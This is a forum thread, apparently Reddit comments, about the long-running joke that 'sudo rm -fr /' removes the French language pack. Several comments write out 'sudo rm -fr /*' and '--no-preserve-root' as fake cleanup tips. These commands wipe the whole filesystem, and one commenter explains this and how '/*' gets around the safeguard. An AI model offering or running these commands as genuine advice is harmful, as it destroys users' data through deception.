remove the "." to adress the root of the problem.
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Pro tip: Omit the dot . before the / to make sure you cleansed the language pack thoroughly.
And to avoid annoying error messages about preserving the root of the language, add a * at the end. Final command should look like this:
sudo rm -fr /*
So I know nothing and just wandered in here from Top, but this translates as, "Fuck you, all of you, French language, I show you my butthole," right?
No, this is a very old joke that uses the fact the command has "fr" in it to trick people about what the command does. Joking aside, here's what the command actually does:
rm is the command to delete files and folders
-f is the force modifier. This means it'll keep going even if it encounters problems and just delete as much as it can
-r is the recursive modifier. That means it'll go down every folder it sees in the target and delete the contents as well, and delete the contents of folders of folders, etc.
/ is the target. This is the root of the filesystem. If you're used to Windows, that's like targeting C:.
Put it all together, and this command basically deletes your whole filesystem. A safeguard was put in place a while back due to people meming about this and causing newbies to delete their whole system. Now it won't work unless you put in --no-preserve-root, which tells rm that yes, you really mean it, please delete my whole system.
/* as the target works around that safeguard, because technically deleting everything in root is not the same as deleting root itself.
Oh, like a more sophisticated version of the old "put your phone in the microwave"joke!
Thank you, kind person.
They're all lying to you. It actually removes Romanian -- for real
I mean, it does remove every language, that's for sure.
Iโm a simple man, I see code and I copy and paste it into the terminal with no understanding of what it does.
Gotta make sure the root language is removed also. Add --no-preserve-root for that.
Technically this does remove the French language pack.
Don't forget to remove the tuber preserves with --no-preserve-root
If you are French, the same command works to remove your freedom pack.
Freedom or FreeDoom?
I wonder how many people have fallen for this
I have last week, tho I wasn't tricked, but simply forgot the "." when cleaning an usb.
Parlez-vous f*ck you.
I thought this was stupid, how much space could a language pack take? Then I tried it and my system is at least %15 faster, turns out there is a bug in the dialogue disseminator preventing matriarchal ascension in the domestic power structure.
You do have to add โno-preserve-root though.
Ever since Napoleon, the Fr*nch have tried to take over Linux to implement their rรฉgime baguette.
Make sure to read the man page before so you don't remove the runtime functions
Although I'm French, I still laugh at the stupid memes by the English speaking internet that make fun of my people. Then again, there is a sense of justice in imagining people falling for this. ๐
This is very much the Linux version of the old tricking gamers to alt+F4 gag.
My favorite was when I was teaching a friend Squad, and we were in a vehicle. I explained you hit the F keys to change seat (which is true), so F1, F2, F3, etc. Noticing that seats 1, 2 and 3 were filled, I then told him he can hold down alt to swap seats faster. He then immediately quits the game xD
How do you think this is making fun of your people? It's making fun of non-French people that would want to "remove the French language pack" because they're not French
Nice try, but we know the French don't speak English.
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